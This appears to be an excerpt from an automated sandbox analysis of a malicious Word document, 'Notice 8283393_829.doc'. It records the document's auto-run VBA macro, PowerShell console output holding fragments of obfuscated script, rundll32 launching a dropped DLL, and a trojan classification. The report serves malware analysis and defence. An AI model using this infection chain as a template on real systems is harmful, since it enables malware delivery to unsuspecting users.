Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00403D4E 9_2_00403D4E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00418F65 9_2_00418F65
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00412965 9_2_00412965
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041676B 9_2_0041676B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00410F6D 9_2_00410F6D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00411B71 9_2_00411B71
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00417570 9_2_00417570
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0040A176 9_2_0040A176
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041DD78 9_2_0041DD78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00413D7C 9_2_00413D7C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0040CF11 9_2_0040CF11
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00415115 9_2_00415115
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041231B 9_2_0041231B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041BF25 9_2_0041BF25
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041DB25 9_2_0041DB25
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0040492A 9_2_0040492A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041D530 9_2_0041D530
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0040213E 9_2_0040213E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00406BC0 9_2_00406BC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004173C0 9_2_004173C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004177C0 9_2_004177C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00419DC0 9_2_00419DC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004193C9 9_2_004193C9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041CDCC 9_2_0041CDCC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0040ADCE 9_2_0040ADCE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041B1D2 9_2_0041B1D2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00404BDE 9_2_00404BDE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00405BE1 9_2_00405BE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00402DEE 9_2_00402DEE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004137F4 9_2_004137F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041B3FE 9_2_0041B3FE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041E19F 9_2_0041E19F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004199A4 9_2_004199A4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00415DAA 9_2_00415DAA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0041EDB9 9_2_0041EDB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022BC21 9_2_0022BC21
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00214C27 9_2_00214C27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021542D 9_2_0021542D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022502C 9_2_0022502C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022C83F 9_2_0022C83F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021923C 9_2_0021923C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00223C07 9_2_00223C07
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022C014 9_2_0022C014
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00218217 9_2_00218217
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00218A60 9_2_00218A60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021BC63 9_2_0021BC63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021C652 9_2_0021C652
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00223856 9_2_00223856
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00219055 9_2_00219055
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022D45C 9_2_0022D45C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002116B2 9_2_002116B2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021C0B6 9_2_0021C0B6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002210BB 9_2_002210BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002260B9 9_2_002260B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021C485 9_2_0021C485
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00224689 9_2_00224689
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022188F 9_2_0022188F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022B499 9_2_0022B499
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022D099 9_2_0022D099
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00213E9E 9_2_00213E9E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002204E1 9_2_002204E1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00226AE4 9_2_00226AE4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002210E5 9_2_002210E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022D2EC 9_2_0022D2EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002232F0 9_2_002232F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002272F1 9_2_002272F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00225AC3 9_2_00225AC3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002132C2 9_2_002132C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00221ED9 9_2_00221ED9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002284D9 9_2_002284D9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00225CDF 9_2_00225CDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022E32D 9_2_0022E32D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00216134 9_2_00216134
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00226934 9_2_00226934
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00226D34 9_2_00226D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022893D 9_2_0022893D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022D713 9_2_0022D713
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00228F18 9_2_00228F18
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022531E 9_2_0022531E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00212362 9_2_00212362
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00227F6A 9_2_00227F6A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022A972 9_2_0022A972
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00216B79 9_2_00216B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021577E 9_2_0021577E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022C340 9_2_0022C340
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022A746 9_2_0022A746
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00214152 9_2_00214152
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00215155 9_2_00215155
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021D1A3 9_2_0021D1A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00227DA5 9_2_00227DA5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002173A8 9_2_002173A8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00219DAD 9_2_00219DAD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00219DAE 9_2_00219DAE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002185B3 9_2_002185B3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002243BF 9_2_002243BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002165BF 9_2_002165BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021ED87 9_2_0021ED87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021C587 9_2_0021C587
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022E985 9_2_0022E985
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00217D8A 9_2_00217D8A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022B998 9_2_0022B998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00211B9C 9_2_00211B9C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00213F9F 9_2_00213F9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021B5F1 9_2_0021B5F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0021C9C0 9_2_0021C9C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022B5C0 9_2_0022B5C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00214DCA 9_2_00214DCA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00210BCC 9_2_00210BCC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00227BDC 9_2_00227BDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0043303C 9_2_0043303C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00441E14 9_2_00441E14
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00414E4B 10_2_00414E4B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0040D44C 10_2_0040D44C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0040DC2F 10_2_0040DC2F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0040903F 10_2_0040903F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00409CC8 10_2_00409CC8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_004142E2 10_2_004142E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00404EA1 10_2_00404EA1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00408CA3 10_2_00408CA3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00405EB9 10_2_00405EB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00416B45 10_2_00416B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0041676B 10_2_0041676B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00410F6D 10_2_00410F6D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00417D7D 10_2_00417D7D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00415115 10_2_00415115
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0040492A 10_2_0040492A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00419DC0 10_2_00419DC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0040ADCE 10_2_0040ADCE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0041B1D2 10_2_0041B1D2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_004137F4 10_2_004137F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0041E19F 10_2_0041E19F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0040704B 10_2_0040704B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0041C04C 10_2_0041C04C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00405856 10_2_00405856
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00401658 10_2_00401658
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00411259 10_2_00411259
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00418668 10_2_00418668
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0040C07D 10_2_0040C07D
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: Notice 8283393_829.doc OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation OLE, VBA macro: Module A5ate73kc6cw5njy, Function Document_open Name: Document_open
Document contains embedded VBA macros
Source: Notice 8283393_829.doc OLE indicator, VBA macros: true
PE file contains strange resources
Source: N49I.dll.5.dr Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: rundll32.exe, 00000006.00000002.2101329933.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2099402551.0000000001F40000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2101273139.0000000001DD0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2102630068.0000000002110000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.evad.winDOC@16/8@1/2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_004034DF CreateToolhelp32Snapshot, 10_2_004034DF
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$tice 8283393_829.doc Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRCA9E.tmp Jump to behavior
Source: Notice 8283393_829.doc OLE indicator, Word Document stream: true
Source: Notice 8283393_829.doc OLE document summary: edited time not present or 0
Source: C:\Windows\System32\msg.exe Console Write: ............Y........................... .&.......&.....................................#...............................h.......5kU............. Jump to behavior
Source: C:\Windows\System32\msg.exe Console Write: ............Y...................A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e.......(.......L....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................................................`I.........v.....................K......H.E............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................o.j....................................}..v.....G......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................o.j..... ..............................}..v.....G......0...............H.E............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................6o.j....................................}..v....`T......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................6o.j....(.E.............................}..v.....T......0.................E............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#................n.j....................................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#................n.j..... ..............................}..v....8.......0.................E............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....7..................j.....FE.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....7...............v..j....................................}..v....p.......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....C..................j.....FE.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....C...............v..j....................................}..v....p.......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....O..................j.....FE.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....O...............v..j....................................}..v....p.......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....[.......e.s. .a.r.e. .".S.s.l.3.,. .T.l.s."...".........}..v............0................BE.....(....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....[...............v..j....@...............................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....g.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.6.2.............}..v............0................BE.....$....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....g...............v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....s..................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....s...............v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v.....!......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....."..............................}..v.....#......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v.....)......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j.....*..............................}..v.....+......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v.....1......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j.....2..............................}..v.....3......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v.....9......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j.....:..............................}..v.....;......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v.....A......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j.....B..............................}..v.....C......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v.....I......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j.....J..............................}..v.....K......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v.....Q......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j.....R..............................}..v.....S......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v.....Y......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j.....Z..............................}..v.....[......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'..................j.....FE.............................}..v.....a......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'...............v..j.....b..............................}..v.....c......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....3..................j.....FE.............................}..v.....i......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....3...............v..j.....j..............................}..v.....k......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....?..................j.....FE.............................}..v.....q......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....?...............v..j.....r..............................}..v.....s......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....K..................j.....FE.............................}..v.....y......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....K...............v..j.....z..............................}..v.....{......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....W..................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....W...............v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....c..................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....c...............v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....o..................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....o...............v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....{..................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....{...............v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v............Y.'.).}.}.c.a.t.c.h.{.}.}.$.B.5.8.I.=.(.'.O.3.'.+.'.5.I.'.).....0................BE.....<....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v....(.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....................................}..v....`.......0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j.....FE.............................}..v............0.......................r....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....h...............................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v............ ..........j.....FE.............................}..v....x.......0................BE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................v..j....0...............................}..v............0...............hCE............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................e.j....E...............................}..v....(.......0...............(.E............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................e.j....E...............................}..v.....H......0...............(.E............................. Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\msg.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString
Source: Notice 8283393_829.doc Virustotal: Detection: 16%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
